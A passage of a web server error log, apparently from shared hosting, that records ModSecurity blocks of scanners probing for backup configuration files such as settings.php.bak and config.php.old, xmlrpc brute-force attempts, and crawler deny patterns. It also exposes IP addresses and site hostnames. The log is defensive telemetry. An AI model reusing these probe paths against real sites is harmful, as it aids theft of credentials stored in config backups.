https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:26.333483 2026] [security2:error] [pid 646876:tid 646953] [remote 17.241.75.31:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 31.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zjtyTkdrNlD40tSG58wAAdko"] [Sat Jun 13 18:19:26.387120 2026] [access_compat:error] [pid 648189:tid 648220] [remote 57.141.14.63:63632] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:26.387404 2026] [access_compat:error] [pid 648189:tid 648220] [remote 57.141.14.63:63632] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:26.570473 2026] [security2:error] [pid 648189:tid 648484] [client 185.177.72.9:49146] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config.php.old"] [unique_id "ai3zjlWSojQL4F7upKB55AAAAQI"] [Sat Jun 13 18:19:26.617582 2026] [security2:error] [pid 646876:tid 646935] [remote 17.246.23.26:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zjtyTkdrNlD40tSG59wAAbjg"] [Sat Jun 13 18:19:26.684316 2026] [security2:error] [pid 646876:tid 647010] [client 114.119.130.251:39579] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "onehouseagency.com"] [uri "/author/onehouseagency/"] [unique_id "ai3zjtyTkdrNlD40tSG5-QAAAAI"], referer: https://onehouseagency.com/properties/appartment-for-rent-at-quatre-bornes/ [Sat Jun 13 18:19:26.698114 2026] [access_compat:error] [pid 646876:tid 646937] [remote 57.141.14.95:54859] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:26.698392 2026] [access_compat:error] [pid 646876:tid 646937] [remote 57.141.14.95:54859] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:26.806821 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9tb3VzZTAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:26.807109 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9tb3VzZTAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:26.842238 2026] [security2:error] [pid 648189:tid 648464] [client 185.177.72.9:49162] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config.inc.php"] [unique_id "ai3zjlWSojQL4F7upKB58AAAAO4"] [Sat Jun 13 18:19:27.105248 2026] [security2:error] [pid 648189:tid 648407] [client 185.177.72.9:49172] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/config.json.bak"] [unique_id "ai3zj1WSojQL4F7upKB5_AAAALo"] [Sat Jun 13 18:19:27.325527 2026] [security2:error] [pid 648189:tid 648370] [client 210.217.96.217:55637] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zj1WSojQL4F7upKB6EQAAAJY"] [Sat Jun 13 18:19:27.325693 2026] [security2:error] [pid 648189:tid 648370] [client 210.217.96.217:55637] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zj1WSojQL4F7upKB6EQAAAJY"] [Sat Jun 13 18:19:27.369266 2026] [access_compat:error] [pid 646876:tid 646940] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:27.369528 2026] [access_compat:error] [pid 646876:tid 646940] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:27.380234 2026] [security2:error] [pid 648189:tid 648426] [client 185.177.72.9:49172] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/config.js.bak"] [unique_id "ai3zj1WSojQL4F7upKB6EgAAAM0"] [Sat Jun 13 18:19:27.703017 2026] [security2:error] [pid 646876:tid 646910] [remote 17.246.23.247:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zj9yTkdrNlD40tSG6CQAAVh8"] [Sat Jun 13 18:19:27.790086 2026] [security2:error] [pid 648189:tid 648446] [client 185.177.72.9:49172] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config.local.php_old"] [unique_id "ai3zj1WSojQL4F7upKB6JAAAAOA"] [Sat Jun 13 18:19:27.863271 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:27.863551 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:27.919094 2026] [security2:error] [pid 646876:tid 647115] [client 45.86.200.48:24809] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 48.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/bless.php"] [unique_id "ai3zj9yTkdrNlD40tSG6DQAAAGs"] [Sat Jun 13 18:19:28.256643 2026] [access_compat:error] [pid 646876:tid 646912] [remote 57.141.14.13:34537] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:28.256942 2026] [access_compat:error] [pid 646876:tid 646912] [remote 57.141.14.13:34537] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:28.305091 2026] [access_compat:error] [pid 646876:tid 646943] [remote 57.141.14.20:52160] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:28.305369 2026] [access_compat:error] [pid 646876:tid 646943] [remote 57.141.14.20:52160] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:28.395058 2026] [security2:error] [pid 648189:tid 648327] [remote 17.22.237.127:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 127.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zkFWSojQL4F7upKB6OwAA0Wg"] [Sat Jun 13 18:19:28.401020 2026] [access_compat:error] [pid 646876:tid 646995] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:19:28.401452 2026] [access_compat:error] [pid 646876:tid 646995] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:19:28.508132 2026] [access_compat:error] [pid 648189:tid 648225] [remote 57.141.14.39:25388] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:28.508404 2026] [access_compat:error] [pid 648189:tid 648225] [remote 57.141.14.39:25388] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:28.649133 2026] [security2:error] [pid 648189:tid 648381] [client 185.177.72.9:49186] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/settings.php.bak"] [unique_id "ai3zkFWSojQL4F7upKB6RwAAAKE"] [Sat Jun 13 18:19:28.882832 2026] [security2:error] [pid 646876:tid 646924] [remote 17.246.15.232:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zkNyTkdrNlD40tSG6GgAAQS0"] [Sat Jun 13 18:19:28.918613 2026] [security2:error] [pid 648189:tid 648454] [client 185.177.72.9:49190] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/settings.php.old"] [unique_id "ai3zkFWSojQL4F7upKB6TwAAAOg"] [Sat Jun 13 18:19:28.938681 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:19:28.939172 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:19:29.019279 2026] [access_compat:error] [pid 648189:tid 648275] [remote 57.141.14.62:58672] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:29.019553 2026] [access_compat:error] [pid 648189:tid 648275] [remote 57.141.14.62:58672] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:29.066930 2026] [access_compat:error] [pid 648189:tid 648230] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:29.067201 2026] [access_compat:error] [pid 648189:tid 648230] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:29.187009 2026] [security2:error] [pid 648189:tid 648353] [client 185.177.72.9:49196] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/settings.php.save"] [unique_id "ai3zkVWSojQL4F7upKB6YQAAAIU"] [Sat Jun 13 18:19:29.209002 2026] [access_compat:error] [pid 646876:tid 647014] [client 192.178.6.39:54561] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:29.209412 2026] [access_compat:error] [pid 646876:tid 647014] [client 192.178.6.39:54561] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:29.355688 2026] [access_compat:error] [pid 646876:tid 646947] [remote 57.141.14.71:50998] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:29.355965 2026] [access_compat:error] [pid 646876:tid 646947] [remote 57.141.14.71:50998] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:29.411065 2026] [security2:error] [pid 648189:tid 648292] [remote 17.241.227.226:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zkVWSojQL4F7upKB6ZgAA6kY"] [Sat Jun 13 18:19:29.441187 2026] [security2:error] [pid 646876:tid 646942] [remote 17.22.253.172:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 172.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zkdyTkdrNlD40tSG6JAAAPz8"] [Sat Jun 13 18:19:29.448098 2026] [security2:error] [pid 646876:tid 646992] [remote 17.246.23.57:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 57.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zkdyTkdrNlD40tSG6IwAAT3E"] [Sat Jun 13 18:19:29.465107 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:29.465429 2026] [access_compat:error] [pid 646876:tid 646916] [remote 